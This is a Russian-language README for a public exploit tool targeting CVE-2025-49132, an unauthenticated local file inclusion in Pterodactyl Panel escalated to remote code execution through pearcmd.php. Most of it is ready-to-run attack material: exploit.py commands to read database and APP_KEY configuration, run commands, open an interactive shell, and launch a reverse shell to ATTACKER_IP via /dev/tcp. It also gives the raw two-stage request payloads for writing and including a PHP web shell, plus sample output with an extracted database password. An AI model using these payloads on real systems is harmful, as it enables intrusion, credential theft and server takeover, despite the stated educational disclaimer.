
CVE для Pterodactyl (для изучения и образования)
⚠️ Отказ от ответственности: Этот репозиторий создан только в образовательных и исследовательских целях в рамках моего исследования безопасности для понимания и документирования CVE-2025-49132. Все авторские права на обнаружение уязвимости принадлежат первоначальным исследователям.
___ __ __ ___ ___ ___ ___ ___ _ _ ___ _ ____ ___
/ __|\ \ / /| __|___ |_ ) / _ \|_ )| __|___ | || | / _ \| ||__ / |_ )
| (__ \ V / | _|___| / / | (_) |/ / |__ \___| |_ _| \_, /| ||_ \ / /
\___| \_/ |___| /___| \___//___||___/ |_| /_/ |_|___/ /___|
Панель Pterodactyl - От LFI без аутентификации к RCE
CVE-2025-49132 — это уязвимость Local File Inclusion (LFI) без аутентификации в панели Pterodactyl, которая может быть повышена до удаленного выполнения кода (RCE) через pearcmd.php в PHP.
Уязвимость существует в конечной точке /locales/locale.json, которая не выполняет надлежащую санитацию параметров locale и namespace, что позволяет злоумышленникам читать произвольные PHP-файлы конфигурации и добиваться выполнения кода.
| Статус | Версия |
|---|---|
| ❌ Уязвимые | <= 1.11.10 |
| ✅ Исправленные | >= 1.11.11 |
pearcmd.php# Клонировать репозиторий
git clone https://github.com/YOUR_USERNAME/CVE-2025-49132.git
cd CVE-2025-49132
# Установить зависимости
pip install requests
requestscurl (для режима RCE)# Чтение конфигурации базы данных
python exploit.py -u http://target.com --read -p ../../config -f database
# Чтение конфигурации приложения (содержит APP_KEY)
python exploit.py -u http://target.com --read -p ../../config -f app
# Чтение других конфигураций
python exploit.py -u http://target.com --read -p ../../config -f auth
python exploit.py -u http://target.com --read -p ../../config -f session
python exploit.py -u http://target.com --read -p ../../config -f mail
# Выполнение одной команды
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "id"
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "whoami"
# Режим интерактивной оболочки
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR
# Реверс-шелл
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
| Дистрибутив | Путь |
|---|---|
| Debian/Ubuntu | ../../../../../../usr/share/php |
| SUSE/OpenSUSE | ../../../../../../usr/share/php/PEAR |
| CentOS/RHEL | ../../../../../../usr/share/pear |
| Alpine | ../../../../../../usr/share/php8 |
| Аргумент | Описание |
|---|---|
-u, --url | Целевой URL (обязательно) |
-p, --path | Путь для обхода каталогов (LFI) или путь к PEAR (RCE) |
-f, --file | PHP-файл для чтения (без расширения .php) |
--read | Включить режим чтения LFI |
--rce | Включить режим RCE |
--cmd | Команда для выполнения (режим однократного выполнения) |
--sdir | Каталог для записи оболочки (по умолчанию: /tmp) |
--sname | Имя файла оболочки (по умолчанию: shell) |
Уязвимая конечная точка /locales/locale.json принимает параметры locale и namespace:
GET /locales/locale.json?locale=../../config&namespace=database
Это позволяет читать любые PHP-файлы, возвращающие массив, включая файлы конфигурации Laravel.
Эксплойт использует LFI вместе с pearcmd.php для достижения RCE:
Этап 1: Использование команды config-create в pearcmd.php для записи PHP-веб-шелла
/locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system(...)?>+/tmp/shell.php
Этап 2: Включение записанного шелла через LFI
/locales/locale.json?locale=../../../../../../tmp&namespace=shell&c=<hex_encoded_cmd>
════════════════════════════════════════════════════════════
КОНФИГУРАЦИЯ БАЗЫ ДАННЫХ
════════════════════════════════════════════════════════════
default: mysql
connections:
mysql:
driver: mysql
host: 127.0.0.1
port: 3306
database: panel
username: pterodactyl
password: SecretPassword123
────────────────────────────────────────────────────────────
[+] Конфигурация успешно извлечена!
[*] Цель: http://panel.example.com
[*] Выполнение команды: id
[*] Запись полезной нагрузки в: /tmp/cmd_abc123.php
[+] Вывод:
----------------------------------------
uid=474(wwwrun) gid=477(www) groups=477(www)
----------------------------------------
locale и namespaceregister_argc_argvЭтот инструмент предоставляется только для образовательных и авторизованных целей тестирования безопасности.
Используйте ответственно и этично.
⭐ Поставьте звезду этому репозиторию, если он оказался полезным!